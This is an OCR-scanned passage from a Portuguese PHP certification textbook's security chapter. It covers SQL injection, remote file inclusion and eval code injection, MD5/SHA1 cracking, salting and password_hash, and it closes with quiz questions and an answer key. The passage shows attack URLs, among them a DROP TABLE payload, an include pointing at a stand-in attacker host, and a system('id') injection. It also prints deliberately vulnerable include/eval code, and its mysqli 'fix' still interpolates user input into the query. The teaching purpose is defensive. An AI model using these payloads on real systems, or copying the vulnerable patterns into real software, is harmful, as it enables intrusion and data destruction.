oduto: <strong>%s</strong>] <br />", $row['id_produto'], $row['nm_
produto']);
}

Apos salvar os cddigos em seus respectivos arquivos, temos o
seguinte resultado:
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¥ | localhost:8181/php/exemplol.php?pagina=1

data:image/jpegbas... [ MostVisited¥ 0 LinuxMint @ Community @ Forums 5 Blog @News w

[Identificador do produto: 2] - [Produto: Copos]
[Identificador do produto: 3] - [Produto: Pano de prato]

Figura 11.21: Listagem de produtos

O que o atacante pode tentar é alterar os dados enviados via
GET de sua pagina, inserindo uma instru¢ao SQL para apagar a
tabela por completo. Repare na figura anterior que acessamos a URL
http://localhost:8181/php/exemplol.php?pagina=1 , o que
nos indica que passamos o valor 1 para o parametro pagina . Da
mesma maneira que passamos o valor 1 , podemos passar uma
instrugao SQL. Veja como ficaria a nossa URL:

localhost:8181/php/exemplol.php?pagina=1; DROP TABLE tb_produto

Apos executar essa URL com a instrugdo SQL, a nossa tabela do
banco de dados é removida, gerando um erro na exibicdo dos
produtos:

( € ) @ | localhost:8181/php/exemplo1.php?pagina=1; DROP TABLE th_produte

data:image/jpeg;bas... Most Visited ¥ & Linux Mint "5l Community 'Y Forums

(!)

Call Stack
# |[Time Memory I
1 0.0001 248792/

Figura 11.22: Erro ap6s executar o SQL injection

O erro ¢ exibido, pois o nosso cédigo PHP espera que seja
passado um array para o loop foreach . Porém, o array nio é
passado, porque a tabela de produtos ( tb_produto ) foi excluida do
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banco de dados, sendo impossivel retornar algum registro em forma
de array.

Para evitar esse tipo de problema como também outros que
podem ser gerados por confiar de mais no usuario, é recomendado
utilizar um método que analise a instru¢ao e os parametros. O PDO
possui o método prepare juntamente com o método bindvalue .

Esses métodos ja foram anteriormente explicados no capitulo
9. PHP e banco de dados com PDO, vocé se lembra? Se vocé nao
se recorda, ndo tem problema. Dé uma olhadinha 14 e depois
retorne para a sua leitura!

7

E a solugdo do nosso problema é mais simples do que vocé
pensa, veja:

// Verifica se a conexd@o foi montada com sucesso!
try {
$conn = new PDO('mysql:dbname=sglinjection;host=127.0.0.1;char
set=utf8', 'root', '123456');
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();

// Obtém a proéoxima pagina
$offset = filter_input(INPUT_GET, 'pagina', FILTER_SANITIZE_SPECIA
L_CHARS);

// Monta a query
$sth = $conn->prepare("SELECT id_produto, nm_produto FROM tb_prod
uto ORDER BY nm_produto LIMIT 20 OFFSET :offset;");

// Executa a passagem de parametro
$sth->bindvalue(':offset', 1, PDO::PARAM_INT);

// Executa o coédigo

if ($sth->execute()) {
$result = $sth->fetch(PDO: :FETCH_ASSOC);
printf("[Identificador do produto: <strong>%s</strong>] - [Pro
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duto: <strong>%s</strong>] <br />", $result['id_produto'], $result[
'nm_produto']);

}

Se vocé ndo estd usando o PDO , mas sim a mysqgli , nio tem

problema. Vocé pode obter o mesmo resultado utilizando o método

bind . Veja como ficaria o mesmo exemplo mostrado
anteriormente com a mysqli :

<?php

// Conexdo com o banco de dados
$1link = mysqli_connect('127.0.0.1', 'ce', '123456', 'certificaca
o_php');

// Verifica se a conexdo foi montada com sucesso!
if (!'$link) {
echo "Error: Unable to connect to MySQL.";

echo "Debugging errno: " . mysqli_connect_errno();
echo "Debugging error: " . mysqli_connect_error();
exit;

$offset = filter_input(INPUT_GET, 'pagina', FILTER_SANITIZE_SPECIA
L_CHARS) ;

$query = "SELECT id_produto, nm_produto FROM tb_produto ORDER BY
nm_produto LIMIT 20 OFFSET $offset;";

if ($stmt = $link->prepare($query)) {
$stmt->execute();

$stmt->bind_result($idProduto, $nmProduto);

while ($stmt->fetch()) {
printf('[Identificador do produto: <strong>%s</strong>] -
[Produto: <strong>%s</strong>]', $idProduto, $nmProduto);

}

$stmt->close();

Como vocé pode perceber, a prova de certificagdo espera que
vocé tome os devidos cuidados com os dados que vocé recebe em
sua aplicagdo, pois uma simples requisicao GET pode trazer
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consigo uma verdadeira dor de cabega, tanto para vocé quanto para
os seus parceiros de desenvolvimento, de sua empresa ou do seu
projeto. A dica que vocé sempre deve ter em mente é: nunca confie
no usuario.

Uma fun¢do que utilizamos extensivamente nos nossos
exemplos para prote¢io dos nossos dados foi a
filter_input . Essa fun¢do é usada para filtrar os dados
enviados de acordo com as constantes passadas.

Com ela, é possivel filtrar dados maliciosos enviados pelo
usudrio, e forcar que um dado tenha um padrido (como por
exemplo, que uma variavel tenha o padrao IP ou que a variavel
passada seja um inteiro). Mas nio se preocupe, pois essa
funcao e outras formas de validar os dados do usudario serdo
explicadas mais a frente, no decorrer do capitulo.

11.12 REMOTE CODE INJECTION

Passamos por varias formas que um invasor pode tentar realizar
para invadir o seu sistema. Entretanto, ainda existe mais uma
vulnerabilidade que podemos conter em nossas aplicagdes.

Imagine que esse invasor, apos algumas tentativas nas quais ja
foi barrado pelo o que vocé aprendeu, pode tentar uma outra brecha
de seguranca, que ¢ a tentativa de injecao de cédigo PHP. E pode
tentar de uma forma tao simples que foge aos nossos cuidados, por
ser o mais inofensivo pardmetro de GET .

Codigo de inje¢ao é um tempo para um tipo de ataque, que
consiste em injetar um cddigo que podera ser interpretado e
executado pela sua aplicagdo. Esse tipo de ataque novamente
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explora a confianca que vocé tem em seus usudrios e falta de
tratamento dos dados de entrada e saida.

Code injection (injegdo de codigo) difere de outro ataque
parecido, o Command Injection (Inje¢do de comando), pois no
ataque de inje¢do de codigo, o atacante é limitado apenas a
linguagem da prépria que o sistema executa, e é a que estamos
abordando aqui.

Em nosso sistema, podemos ter alguns exemplos de brechas de
seguranca para esse tipo de ataque que comegam no php.ini . Sdo
elas: utilizacao da fungdo include sem validagdo e execucdo de
codigos PHP sem validagao.

Em nosso primeiro exemplo, temos um include com PHP,
sem a utilizagao do que aprendemos sobre a se¢ao de configuracao
(ou seja, a desabilitacdo da op¢do allow_url_include ):

ini_set('display_errors', true);
$page = $_GET['pagina'l];
include $page;

Caso a opgao nao esteja desabilitada, o invasor conseguira
incluir um arquivo malicioso que obtém dados de sua aplicagdo.
Basta que ele mande por parametro a pagina que deseja incluir, por
exemplo:

http://localhost/teste/include.php?pagina=http://invasor.com.br/ro
ubodedados.php

Esse tipo de ataque é muito perigoso, pois podemos criar
qualquer arquivo PHP com o cédigo que desejarmos para: extrair
dados, adicionar algum tipo de cddigo espido para monitorar o
acesso dos usudrios naquela pagina, ou até mesmo realizar algum
tipo de dano como excluir arquivos vitais para o funcionamento da
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aplicagdo.

Agora que ja abordamos a primeira forma de como utilizar a
funcdo include sem valida¢do, podemos partir para o nosso
préximo item, que ¢ a execugdo de cddigo em PHP sem validagao.

A execugao de codigo PHP é feita pela funcdo eval , que obtém
uma string e executa como coédigo PHP. Veja:

$nextPag = '?pagina=';
$pagina = $_GET['pagina'];

eval("$nextPag=$pagina;");

O atacante podera tentar invocar seu sistema com o pardmetro
modificado para exibir as informacoes de seu PHP, por exemplo:

http://localhost/teste/segurancal.php?pagina=teste.php; phpinfo();

Ou ele podera ainda tentar executar comandos do seu sistema,
por exemplo:

http://localhost/teste/segurancal.php?pagina=teste.php; system('id
")

Novamente, como foi dito anteriormente, nao devemos confiar
em nossos usudrios, e sempre devemos validar os dados de entrada e
de saida do nosso sistema para que, sempre que for possivel,
dificultar os ataques que serdo realizados.

11.13 INPUT FILTERING

Acabamos mencionando em varias oportunidades que vocé nao
deve confiar nos dados que o usudrio envia para vocé. Pensando
nisso, o PHP fornece uma forma simples para realizar as
verifica¢des nesses dados que o usudrio informa.

O que vocé precisa ter em mente é que filtrar os dados de seus
usudrios ¢ de extrema importancia e que, ao chegar no sistema, eles
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estejam prontos para utilizagao.

filter var

A func¢ido que vamos utilizar para filtrar os dados em nossas
aplicacdes é a filter_var . Ela vai realizar um filtro especificado
como segundo parametro, garantindo assim a integridade desse
dado. Caso a fungdo ndo consiga realizar o filtro especificado, o
padrao é retornar. Veja um exemplo:

$email = "michaeldouglas.com";
$emailFilter = filter_var($email, FILTER_VALIDATE_EMAIL);
var_dump($emailFilter);

Como vocé pode perceber, foi wusado o filtro
FILTER_VALIDADE_EMAIL , responsavel por filtrar dados de e-mail.
Porém, como nosso e-mail estd invalido, a fun¢do ndo consegue
filtrar os dados recebidos, retornando assim um FALSE .

Outro exemplo que podemos utilizar ¢ filtrar os dados e verificar
se 0 que esta contido no pardmetro de dados é um inteiro valido.
Veja o exemplo onde aplicamos essa regra:

$email = '1';
$emailFilter = filter_var($email, FILTER_VALIDATE_INT);
print $emailFilter;

Ao executarmos o script acima obtemos o seguinte resultado:
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Através desse filtro, garantimos que o que existe na variavel
$email ¢ um dado do tipo inteiro.

A partir de agora, tente lembrar de sempre filtrar os dados que
seu usudrio enviar para vocé. Com isso, vocé conseguira ganhar
mais seguranga em sua aplica¢ao e de uma forma nao complicada,
pois o uso da fun¢io filter_var se resume a utilizacio de 3
pardmetros. Porém, de forma mais simples, usando 2 parametros
(como demonstrado no exemplo anterior), vocé jia podera tornar

sua aplicagdo mais segura.

7

O dltimo parametro é usado para alterar como a fungido
filter_var se comporta internamente. Caso deseje se aprofundar
no comportamento dessa fungio, veja a documentagdo oficial em
http://php.net/manual/pt_BR/function.filter-var.php.

Como a lista de constantes para utilizar com os filtros ¢ grande,
vocé pode ver a lista completa de filtros na documentagdo do
PHP em http://php.net/manual/pt_BR/filter.constants.php.

filter_input

Recebemos com bastante frequéncia dados por meio de
diferentes fontes, tais como GET , POST , COOKIE , SERVER , entre
outros. Porém, utilizar esses dados diretamente em nossas
aplicag¢des ndo é uma boa ideia, por exemplo:

$dados = $_POST;

if($dados) {
// Manipula os dados enviados
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print_r($dados);

Ja aprendemos que receber dados diretamente em nossa
aplicagdo, sem validar ou filtrar, ndo é uma boa pratica. Para a prova
de certificagdo, pode cair uma questdo solicitando que vocé escolha
a melhor forma de filtrar um dado em PHP, e uma das principais
fungdes para esse tipo de trabalho éa filter_input .

O que precisamos fazer para consertar esse nosso exemplo é
usar a fungdo filter_input . Ela utiliza como primeiro parametro
o tipo de dados que vocé deseja usar, como por exemplo, um dado
que € enviado através de uma requisigio GET .

Os tipos de constantes que a fungdo filter_input utiliza sdo:

e INPUT_GET

e INPUT_POST

e INPUT_COOKIE
e TINPUT_SERVER
e INPUT_ENV

e INPUT_SESSION

Para cada tipo de requisigdo, podemos utilizar um desses filtros.
Veja o0 nosso exemplo a seguir que usa a constante INPUT_POST
para realizar o filtro no campo nome .
<form method="post">

<input type="text" name="nome">

<input type="submit" value="Enviar'">
</form>

print filter_input(INPUT_POST, 'nome', FILTER_SANITIZE_SPECIAL_CHA
RS);
Perceba que aplicamos 0 filtro
FILTER_SANITIZE_SPECIAL_CHARS (que remove o0S caracteres
especiais da string) em um campo enviado pelo formuldrio através
do método POST . Se muddssemos o método do formuldrio para
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GET , consequentemente deveriamos utilizar o INPUT_GET , e assim
por diante com todas as constantes, dependendo de onde os dados
estdo vindo.

Podemos fazer muitas coisas usando os filtros que o PHP
oferece, e 0 mais importante de todas é se proteger do que usudrios
mal intencionados possam tentar fazer para invadir seu sistema.
Porém, como jé é sabido, nenhum sistema é totalmente seguro, mas
sempre faga o possivel para se proteger.

O que ¢é possivel acontecer é esquecermos de utilizar alguns
conceitos de seguranca no desenvolvimento. Entretanto, algumas
IDEs (Integrated Development Environment), como o NetBeans,
avisam para tomarmos cuidado ao acessar variaveis diretamente, o
que pode ajudar e muito vocé ndo esquecer de se proteger.

11.14 PASSWORD HASHING

Quando criamos nossas telas de login, uma das primeiras coisas
que passam em nossa cabeca é como proteger a senha que o usudrio
informa. Nesse momento, vocé pode acabar entrando no Google e
pesquisando sobre protecio de senha em PHP. Logo, vocé se
deparara com duas fungdes para criptografia de dados:

¢ MD5
e SHA1

A seguir, explicaremos em detalhes como essas fungdes sao
usadas com o PHP. Mas caso vocé queira saber como o algoritmo
MD5 funciona, vocé pode acessar 0 link
http://www.fags.org/rfcs/rfc1321.html. Ld temos a explicagio de
como implementar seu proprio MD5. O mesmo ocorre com o
SHAL, acesse http://www.fags.org/rfcs/rfc3174.html para ver como
¢ implementado um algoritmo em SHAI.
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MD>5

Essa fungdo trabalha para receber uma string como parametro e
calcula o hash utilizando o algoritmo RSA Data Security. Quando
aplicada a fungdo na String em uma quantidade arbitraria de dados,
o resultado de saida dessa string é um hash que tem um tamanho
fixo. O MD5 cria um valor de hash de 128 bits.

Em PHP, o uso da fungdo md5 é bem simples. Veja o exemplo a

seguir:
$senha = '123456"';
$senhaHash = md5('123456');
if( ( 'is_null($senha) && ( md5($senha) == $senhaHash ) ) === true
) {
echo "OK";
} else {
echo "OPS";
1

Por mais que parega seguro utilizar o MD5, ele pode ser
quebrado por até sites que o decriptam. Um deles é o
https://hashkiller.co.uk/md5-decrypter.aspx, que exibe o hash que o
MD?5 gera:

$senha
$senhaHash

123456 ;
md5 (' 123456 ) ;

if( ( !'is_null($senha) && ( md5($senha) == $senhaHash ) ) === true
) {

echo $senhaHash;
} else {
echo "OPS";

}

Para vocé que usou a senha 123456, o hash que sera retornado é
esse:

el0adc3949ba59abbe56e057f20f883e

Entre no site hashkiller, cole o hash, e entdo realize o submit.
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Veja esse exemplo:

Figura 11.23: Descriptando a string gerada através do algoritmo MD5

SHA1

Outro algoritmo muito utilizado para o célculo de hash ¢é o
SHA1. Em PHP, sua utilizagdo é simplificada. Assim como no MD5,
basta que vocé chame a fun¢do que vai calcular o hash para a sua
string. No caso de SHAI, a fungdo é shal e sua utilizagdo é bem
parecida. Veja o exemplo:

$senha = '123456';
$senhaHash = shal('123456');

if( ( !'is_null($senha) && ( shal($senha) == $senhaHash ) ) === true
) {

echo "OK";
} else {
echo "OPS";

3
Além da chamada da fun¢do shal ser parecida com a fungio
md5 , 0 mesmo site que quebra essas senhas também pensou em
manter o padrdo, e criou uma forma para decodificar o algoritmo
SHA1. Ele pode ser acessado em https://hashkiller.co.uk/shal-
decrypter.aspx.
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Novamente, vamos exibir nossa hash de senha, mas agora no
padrao que SHAI retorna. Veja o exemplo:

$senha '123456";
$senhaHash = shal('123456');

if( ( !'is_null($senha) && ( shal($senha) == $senhaHash ) ) === true
) {

echo $senhaHash;
} else {
echo "OPS";

Caso vocé tenha mantido o padrio de senha do exemplo, o
retorno que vocé provavelmente estd vendo é o seguinte:

7c4a8d09ca3762af61e59520943dc2649418941b

Novamente, abra o site do hashkiller como no exemplo, e vocé
verd a senha: 123456.

SHA1 Hashes:

i Ew Load new captcha

Figura 11.24: Hash de exemplo SHA1

Como vocé pode perceber, o uso do MD5, ou até mesmo do
SHAI1, pode ser bem pratico, porém nao tende a ser tao seguro da
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forma que o implementamos. Existe uma técnica que ajuda a
melhorar a seguranca do MD5 e do SHAI, a utilizagdo de um
padrao conhecido como password salt.

Esse padrdo consiste em gerar uma légica que apenas o seu
sistema conhece. Imagine o cendrio no qual vocé recebera uma
senha 123456 e, em vez de vocé mandar SHA1 ou MD5 gerar o
hash dela, vocé deve concatenar uma string aleatéria a sua senha
antes de realizar o cdlculo do hash.

Porém, caso vocé ndo tenha percebido, tanto SHA1 quanto
MD5 retornam valores sempre iguais para 123456. Entdao, mesmo
se vocé colocar um salt, ndo estara totalmente seguro. Isso porque o
invasor pode descobrir através das seguintes formas:

1. O salt presente em um arquivo de configuragao;
2. O salt presente no banco de dados.

E caso ele consiga descobrir o seu padrdo de salt a partir de uma
das formas mencionadas, o atacante pode gerar uma Rainbow
Table.

Rainbow Table

Como o intuito do livro é a certificagdo, exemplificarei sobre
Rainbow Table. Isso consiste em uma tabela (como a de um banco
de dados) que o invasor cria para realizar consultas de transa¢ao na
memoria RAM. Ou seja, ele tenta obter o texto original de suas
senhas enquanto elas estdo na memoria e, com isso, podera criar

uma fun¢do ou um pequeno sistema que seja capaz de computar
hashs.

Os resultados computados serao armazenados nessa tabela e,
com isso, ele pode descobrir seu algoritmo de hash. Sendo assim,
manter um padrdo de salt é ruim, pois ele pode, a cada tentativa,
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salvar um padrao obtido nessa tabela e podera acessar tudo a partir
da Rainbow Tables.

Para quem se interessar mais no assunto, segue um programa
para Windows que é o CaN. Ele pode ser acessado em
http://rainbowtables.shmoo.com. Para quem utiliza Linux,
existe uma alternativa com o Ophcrack, e vocé pode acessar o
site oficial em http://ophcrack.sourceforge.net.

salt

Quando criamos um salt para nosso célculo de hash a partir de
uma string, é o mesmo que dizer, em termos mais simples, que
estamos criando um padrdo de informagdo a ser concatenado a
nossa string de senha. Veja o nosso exemplo a seguir que utiliza o
saltfixo !|__## ZCPE_ ##_ ! ,antes de calcular o hash MD5:

$salt = "I__ ## ZCPE_ ##_ I";
$senha = "123456";

$hash = md5($senha . $salt);
echo $hash;

Como vocé pode perceber, a variavel $salt contém nosso
padrao, tornando assim a senha mais dificil de decifrar. Agora que
concatenamos um salt, devemos usa-lo para verificar a senha
também:

$salt = "!__##  ZCPE__## ",
$senha = "123456";

$hash = md5($senha . $salt);
$hashSalt = "3e4743bc34346b3882ddbc1b434ac67e";

if($hash == $hashsalt) {
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echo "OK";

Porém, o problema ainda continua, pois o hash de string de
senha ainda continua o0 mesmo, ndo mudando o padrao de senha, o
que faria com que um invasor em algum momento consiga
encontrar o padrao e, a partir disso, descobrir a senha. Uma forma
de solucionar essa questdo ¢ a adogao de um salt dinamico. Ou seja,
a cada cdlculo de hash gerado, este nunca seja igual, mas sim
diferente para cada senha.

Salt dinimico

O ideal é que vocé nao deixe o hash de suas senhas fixo, pois isso
facilita a vida do invasor. Entretanto, agora vamos aprender sobre

como unir um salt dinAmico com nosso hash de senha.

Mudaremos nosso salt fixo para que ndo fique mais com o
mesmo valor, e que a cada nova solicitagao de criacao de senha, ou
até mesmo atualizagdo, ele gere um novo padrdo para o nosso

usuario.

Vamos ver em nosso exemplo que ajustar esse problema é bem
simples, porém preste atengao. O meu exemplo gerard um padrao
de hash diferente do seu (pois é dindmico) e, no seu caso, o seu teste
vai gerar um hash diferente:

function salt_randomico() {

return substr(shal(mt_rand()),0,22);
$senha = "123456";
$salt_randomico = salt_randomico();
$hash_senha = shal($salt_randomico . $senha);

echo "Hash Senha: $hash_senha Salt Rand: $salt_randomico Senha: $s
enha";
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Quando esse cddigo é chamado, o resultado produzido é algo
como:

Hash Senha: 2d8778c6bbcbh85c126935eda9da3b29706bd3b6c
Salt Rand: 42l1a34a7l1e3fflbeeld48a

Senha: 123456

Experimente atualizar a pagina. Vocé vai perceber que o hash de
senha e nosso salt ndo s3o os mesmos, pois a funcio
salt_randomico atualiza nosso salt, o que da poder de sempre
renovar o padrido de senha. Para utilizar isso em uma validacdo,
basta que vocé armazene em seu banco de dados o Salt Rand, o hash
e a senha. Veja um exemplo, porém armazenado em variavel:

$hashGerado = "a5156f17a9bcfd82f33955784bab6441";
$saltGerado = "4862f0f324dfef6daa3747";

$senha = "123456";

if(md5($saltGerado. $senha) == $hashGerado) {

echo 'OK';

Entretanto, como aprendemos sobre ataque de forca bruta e
Rainbow Tables, podemos conseguir encontrar o padrdo e quebrar
nossa senha. O que podemos fazer para dificultar um pouco mais é
encriptar nossa senha sobre um numero X de repetigdo, tornando-a
X vezes mais complicada de ser quebrada, por exemplo:
function salt_randomico() {

return substr(shail(mt_rand()), 0, 22);

3
$senha = "123456";
$salt_randomico = salt_randomico();

$hash_senha = md5($salt_randomico . $senha);

for ($1 = 0; $1 < 2000; $i++) {
$hash_senha = md5($hash_senha);
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}

echo "Hash Senha: $hash_senha Salt Rand: $salt_randomico Senha: $s
enha";

Como vocé pode perceber, é um tanto quanto custoso manter
essas fungdes, e verificar fica ainda mais complicado. Porém, o PHP

pensou em ajudar vocé com algumas fungdes que vao facilitar nossa
vida quando o assunto ¢ salt.

Essas fun¢des trabalham muito bem com o salt. Elas sdo crypt
e password_hash . Falaremos mais sobre elas, porém segue uma
figura que ilustra o formato de seus retornos:

$2y$10%$627GKa9kpDN7KC3ICW1HL, fd0/to7Y/x36WUKNPOIndHdkdROA3K

L__‘ Salt Hast I
Opcoes do algoritmo (como por exemplo custo

Algoritmo

Figura 11.25: Retorno das fungoes crypt e password_hash

Caso vocé queira estudar um pouco mais sobre esse assunto,
segue links que podem ajudar:
http://php.net/manual/pt_BR/faq.passwords.php e
https://www.schneier.com/cryptography/blowfish/.

crypt

Essa fun¢ao retorna nossa string criptografada sob o algoritmo
de encriptagao Unix Standard DES-based. Como esse algoritmo
alterna sob o sistema operacional, precisamos ter em mente que,
para cada tipo de sistema, a criptografia ficara diferente, podendo
até utilizar o algoritmo MD5, que para crypt é CRYPT_MD5 .
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E no momento em que o PHP ¢ instalado que serdo definidas as
possiveis funcdes de codificacao de salt aceitas. A utilizagdo da
fungdo crypt ¢é simples, pois se ndo fornecermos nenhum salt, o
proprio PHP se encarrega de autogerar um padrdo de 2 caracteres.
Mas vocé deve se atentar, pois caso o padrdo do sistema seja MD5,
entdo a légica do algoritmo vai usar um salt MD5-compatible.

Para verificar se a funcdo crypt usard um salt de 2 caracteres,
o PHP possui uma constante chamada CRYPT_SALT_LENGTH , que
tem como retorno 2 caracteres, ou para sistema que o salt é mais
comprido. Para verificar o do seu sistema, execute o seguinte
codigo:

print CRYPT_SALT_LENGTH;

Quando executado, vocé vera o total do tamanho de salt para o
seu sistema operacional. Agora, para verificar se o seu sistema
suporta varios tipos de codificagdo, vocé devera criar uma condi¢ao
para verificar quais constantes de codificagao estao disponiveis para
o PHP. A seguir, criamos um pequeno script com essa verificagao:

if (CRYPT_STD_DES == 1) {
echo 'Standard DES: ' . crypt('ZCPE', 'ZP');

if (CRYPT_EXT_DES == 1) {
echo 'Extended DES: ' . crypt('zCPE', '_J9..ZCPE');

if (CRYPT_MD5 == 1) {
echo 'MD5: ' . crypt('ZCPE', '$1$ZCPES$');

if (CRYPT_BLOWFISH == 1) {
echo 'Blowfish: ' . crypt('ZCPE', '$2a$07$ZCPE........... $

No meu caso, a saida da execu¢io gerou a string:

Standard DES: ZPECAThe52T3c
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Extended DES: _J9..ZCPEg7HjffdoOM.k
MD5: $1$ZCPE$Ip5.Pj0zZK69tdVH87M900

Blowfish: $2a$07$ZCPE. . ... ... ... $

No meu caso, consegui utilizar todos os padroes de salt que se
resumem ao segundo parametro e, caso eu nao forneca nenhum, o
PHP vai autogerar, como vemos nesse exemplo:

Notice: crypt(): No salt parameter was specified. You must use a r
andomly generated salt and a strong hash function to produce a sec
ure hash. in /Users/michael/Sites/livro/index.php on line 3
$1$0FWISOHWSqe JCBrhB/PyP2fBDQCTA/O

Porém, veja que o PHP informara que a ndo utilizagio de um
salt ndo é muito seguro, entdo, para corrigir, basta que vocé use o
que estd em seu sistema operacional. Para validar a senha utilizando
afungdo crypt , basta vocé utilizar como em nosso exemplo:

$senha = crypt('123456', '$2a$07%$136........... $');
$senhaUsuario = "123456";

if (crypt($senhaUsuario, $senha) == $senha) {
echo 'OK';

11.15 PASSWORD HASHING API

A API de hash de senha do PHP fornece uma forma bem mais
simples de utilizar o crypt encapsulado, e assim gerenciar de uma
forma bem mais facil nossas senhas. Em particular, vamos usar duas

fungdes: password_hash e password_verify .

password_hash

Como vocé pode ver, trabalhar com salt ¢ uma forma segura de
manter a senha de seus usuarios. Porém, montar e manter o salt é
bem complicado. Pensando nisso, foi «criada a fungdo
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password_hash , que recebe como segundo parametro o algoritmo
a ser utilizado para calculo do hash. Possuimos dois tipos de
algoritmos para utilizar:

e PASSWORD_DEFAULT - Usa o algoritmo bcrypt . Essa
constante pode mudar com o passar do tempo a
medida que novos algoritmos sao adicionados ao PHP.
Quando usado, é recomendado que vocé armazene o
resultado em uma coluna do banco de dados, que pode
expandir para mais de 60 caracteres, mas o melhor
mesmo € que seja de 255 caracteres.

e PASSWORD_BCRYPT - Quando esse parametro for
fornecido, o  algoritmo  utilizado serd o
CRYPT_BLOWFISH . Isso vai produzir um hash
compativel com um identificador $2y$ , e o resultado

sempre é uma string de 60 caracteres; ou falso, caso
falhe o célculo de hash.

Veja os exemplos de utilizagdo da fungdo. Primeiramente,
usaremos o algoritmo PASSWORD_DEFAULT :
$senha = password_hash('ZCPE', PASSWORD_DEFAULT);
echo "Senha: $senha";

Vocé pode reparar que, a cada atualizagio, o salt mudara, pois é
dindmico. Ou seja, a cada execugdo, o hash também muda. Segue o
que foi gerado quando executamos o script anterior:

Senha: $2y$10$zKxtV19m.gb8iPc9IVPN801h62juxc.SxwfNN1CZnwkyrAxHCJIbf
u

E agora vamos utilizar o algoritmo PASSWORD_BCRYPT . Veja
que o nosso script continuou o mesmo, apenas mudamos a
constante que representa o algoritmo:

$senha = password_hash('ZCPE', PASSWORD_BCRYPT);
echo "Senha: $senha";

404 11.15 PASSWORD HASHING API



E o resultado que obtemos quando executamos esse script foi:

Senha: $2y$10$p1xrsk441W6R. jmohSrL50sK.cDih8GTKXelsJFHEPIMiVZsuSxb
i

Como vocé pode perceber, a utilizacgao da fungdo
password_hash facilita muito a seguranca das senhas e também o
seu uso. Isso porque ndo precisamos implementar nenhum
algoritmo com salt manualmente, ou se preocupar com esses
detalhes de seguranca, pois o PHP abstrai tudo isso para nos.

Agora que ja sabemos como criptografar as senhas de maneira
mais seguras, vamos ver como verificar as senhas enviadas na
proxima secao.

password_verify

Pensando ainda em tornar nossa vida mais facil, foi criada uma
funcdo que recebe a senha do usudrio e o hash que foi gerado a
partir da fungdo password_hash . Ou seja, com apenas 2
pardmetros, ja garantimos uma seguran¢a melhor para nossa
aplicagdo e tornamos nossa vida mais simples. Veja o exemplo:
$hash = '$2y$10$zKxtV1om.gb8iPc9IVPN801h62juxc . SXxwFNN1CZnwkyrAxHCJ

bfu';
$senha = "ZCPE";

if (password_verify($senha, $hash)) {

echo 'OK!';
3

Como vocé pode perceber, o que precisamos foi do hash gerado,
que poderia facilmente estar armazenado em seu banco de dados e
utilizar a senha do usuario. E facilmente conseguimos verificar se o
padrao de hash bate com a senha do usuario.

11.16 TESTE SEU CONHECIMENTO
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1) Qual a configuragio que vocé deve deixar para
error_reporting em produc¢io?

a) E_ALL & ~E_DEPRECTED & ~E_STRICT
b) E_ALL & ~E_NOTICE

c) E_STRICT

d) OFF

2) Qual é a possivel vulnerabilidade que podemos atacar
inspecionando o cddigo do lado do cliente?

a) Cross-Site Scripting (XSS)
b) Cross-Site Request Forgeries (CSRF)
c) Gerara uma mensagem de erro

d) Nenhuma das anteriores

3) Qual dessas extensdes nao possui suporte para prepared
statements?

a) ext/mysqli
b) ext/oci8
c) ext/pgsql

d) ext/sqlite

**4) Qual funcdo ndo fornece protecdo contra injecdo de comandos r
emotos?**

a) escapeshellemd()
b) escapeshellarg()
¢) htmlspecialchars()

d) strip_tags()
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**5) Qual é a saida do cddigo?**
" php
<CODE>

echo strlen(shal('e', true));
</CODE>

6) Fixacio de sessaio - um ataque baseado em sessao
comumente usado - pode ser evitado simplesmente dando ao
usuario um novo ID. Qual fun¢ao PHP ¢é usada para alterar o ID
para uma sessao ativa?

7) Qual das seguintes diretrizes vocé pode usar para impedir
que usuarios acessem documentos privados na Web? Selecione no
minimo trés.

a) open_basedir

b) user_dir

c) doc_root

d) cgi.force_redirect

8) Qual das seguintes configuragdes vocé pode usar para
garantir a seguranca de sua aplica¢iao? Selecione no minimo trés.

a) Definir “allow_url_include” para "off  no “php.ini°
b) Definir “display_error’ para ‘off’ no “php.ini’

c) Definir “register_globals® para “off’ no “php.ini-
d) Definir “log_errors’ para "off  no “php.ini°

9) Considere um cendrio em que um site permite aos usuarios
fazer upload de fotos. Que tipo de seguranca deve ser ajustado
para evitar ataques?

a) Permitir o upload de todos os arquivos.

b) Limitar o tamanho dos arquivos enviados.
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c) Validar a extensdo do arquivo enviado.

d) Desabilitar a execucdo de qualquer arquivo.

10) Vocé quer parar de mostrar erros PHP para que um
hacker malicioso nao obtenha informagdes do seu site. Qual das
seguintes definicoes do PHP vocé ira usar para realizar essa
tarefa? Selecione no minimo duas.

a) display_errors = off
b) cgi.force_redirect
c) error_reporting = E_ALL | E_STRICT

d) log_errors = on

11.17 SEGURANCA EM NOSSAS APLICACOES
SERIA UMA UTOPIA?

Nessa jornada de seguranca, passamos por muitas coisas, como
configuragdo de nossa aplicagdo, protecao de dados, engenharia
social, ataque via JavaScript etc. E a cada texto que vocé leu, pareceu
que se tornava mais impossivel proteger nossa aplica¢do, nao é?

Mas acreditar também que fazer tudo o que aprendemos
protegera sua aplicagao 100% dos invasores ¢ um sonho. Entretanto,
podemos a cada erro aprender mais, corrigir as brechas e tornar
nossa aplicagdo mais segura contra os invasores.

O PHP acabou ganhando uma ma fama devido aos novos
desenvolvedores apenas se atentarem a desenvolver suas aplicacdes,
e ndo pensarem muito em Engenharia de Software e Seguranga da
aplicacdo. Acreditamos que isso se da pelo simples motivo do PHP
possuir uma curva de aprendizado baixa comparada a outras
linguagens.
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O que a Zend espera de vocé na certificagdo no quesito de
seguranc¢a é que vocé seja capaz de identificar e propor formas de
manter sua aplicagdo mais segura contra os invasores. Lembre-se:
nao se limite apenas ao que vocé leu aqui no livro, busque mais
fontes.

Uma fonte muito conhecida entre os entusiastas de segurangas é
a OWASP, que ja foi mencionado anteriormente no livro. Nele vocé
encontra as principais vulnerabilidades da web, grupos de discussao
e muito mais. Confira 0 site oficial em
https://www.owasp.org/index.php/Main_Page.

11.18 RESPOSTAS

Verifique agora se vocé foi bem nas questdes. Caso niao, nao
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!
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QUESTOES

Questao 1 - Resposta correta: a

Questao 2 - Resposta correta: a

Questao 3 - Resposta correta: d

Questao 4 - Resposta correta: d

Questao 5 - Resposta correta: 20

Questao 6 — Resposta correta: session_regenerate_id
Questao 7 — Resposta correta: b,ced

Questao 8 - Resposta correta: a,b e c

Questao 9 - Resposta correta: b,ced

Questao 10 - Resposta correta:ae d
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CapiTULO 12

CONCLUSAO

O PHP ¢ uma linguagem de desenvolvimento com foco em
